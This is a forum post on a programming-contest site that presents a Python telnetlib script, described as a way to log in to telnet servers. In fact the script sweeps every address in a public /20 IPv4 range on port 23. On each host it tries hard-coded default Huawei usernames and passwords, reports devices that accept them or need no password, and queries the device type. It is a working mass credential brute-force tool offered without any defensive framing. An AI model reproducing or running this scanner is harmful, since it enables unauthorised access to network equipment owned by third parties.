题库
比赛
近期比赛
排名
话题
在线编译器
登录
话题
写新话题
python 使用telnetlib登陆telnet服务器
HappyOJ
发布于
3 个月前
12554
0
0
telnetlib
python
```python import telnetlib import time import logging import re import ipaddress from ipaddress import ip_address logging.basicConfig(format='%(asctime)s - %(pathname)s - [line:%(lineno)d] - %(levelname)s: %(message)s', level=logging.DEBUG) username = ['0000000', 'huawei','root','huawei123','huawei1234'] password = ['Root@123','Huawei@123','Huawei@1234','huawei@123','huawei@1234','Root@1234'] def contains_chars(s, chars): pattern = f"[{''.join(chars)}]" return bool(re.search(pattern, s)) def get_device_type(tn): tn.write(b"display device\r\n") time.sleep(1) output = tn.read_very_eager().decode().strip() lines = output.split('\n') for line in lines: if 's device status' in line: type_str = line.split('s device status')[0] print(type_str) return 'unknow' def login(host, port, user, pwd): try: tn = telnetlib.Telnet(host, port, 5) #tn.set_debuglevel(2) except: return 2 time.sleep(1) try: output = tn.read_very_eager().decode().strip() except: tn.close() return 4 print(output) # 出现 > 说明已登录,不需要密码 if '>' in output: print('login ok, no password') get_device_type(tn) tn.close() return 3 tn.write(user.encode('ascii') + b'\r\n') tn.read_until(b"Password:") tn.write(pwd.encode('ascii') + b'\r\n') time.sleep(1) try: output = tn.read_very_eager().decode().strip() if 'Authentication fail' in output: tn.close() return 1 except: tn.close() return 1 get_device_type(tn) tn.close() return 0 def device_login(host, port): for i in range(len(username)): for j in range(len(password)): ret = login(host, port, username[i], password[j]) if ret == 0 : print(host, ':', port, 'login ok', username[i], password[j]) return ret elif ret == 1: #print(username[i], password[j], 'username or password is wrong ') pass elif ret == 2: #print(host, ':', port, 'connecting failed.') return ret elif ret == 3: print(host, ':', port, 'login ok, with no password.') return ret elif ret == 4: print(host, ':', port, 'login failed, lock by remote.') return ret else: print('system error') return -1 def device_discovery(): port = 23 for ip in ipaddress.IPv4Network('120.94.23.0/20'): device_login(str(ip), port) def device_discovery_test(): port = 23 device_login('7.220.108.234', port) if __name__ == "__main__": device_discovery() #device_discovery_test() ```
回复话题
Twitter
Hot Tags
dfs
22
implementation
19
dp
15
蓝桥
14
string
11
math
11
big number
10
number theory
9
combinatorics
9
happyoj
5
springboot
4
brute force
4
javascript
3
bfs
3
greedy
3
如梦令
3
divide and conquer
2
linux
2
Copilot
2
graph
2
probabilities
2
sortings
2
data structures
2
xor
2
python
1
telnetlib
1
cron
1
题解
1
docker
1
https
1
→
Top10
南柯
2023
cxlove
1970
vainner
1763
4
1000310428赵成帅
1718
5
XiaoWen
1710
6
1000380213洪伟焕
1701
7
weiben
1684
8
Jungle.Wei
1678
9
1100310131曾翔宇
1664
10
hongwh
1653
→
Topics
vbox Ubuntu无界面动态扩展磁盘空间
###问题:磁盘创建时时动态扩展方式,现在空间已经不足,却没有自动扩展生效磁盘空间
Problem A + B
略微有单简单
python 使用telnetlib登陆telnet服务器
```python
你好,请问如何在Windows下架设WEB?
大大你好,我是一个小白。
Python + openCV去除图片中红色字体
Github Copilot在代码检视内存泄漏上的能力
## 我给了一个带出参的由内存申请的函数,它能够识别函数内没有泄漏,但是需要提醒我调用者有没有释放内存,还是不错。
使用Github Copilot辅助开发的一些感受
## 我先选择了一段比较简单的代码,发现它给出的解释实际上就是代码本身自注释到的
Ubuntu 如何安装HappyOJ
## Table of contents
@Scheduled注解实现启动时延时60秒执行一次定时任务,后续按照cron定义的计划执行
最近遇到一个问题,通过springboot Scheduled定时调度,在启动时就会执行定时任务,导致启动性能较差。
【JS】JS设置粘贴板内容的方法
方法1:
→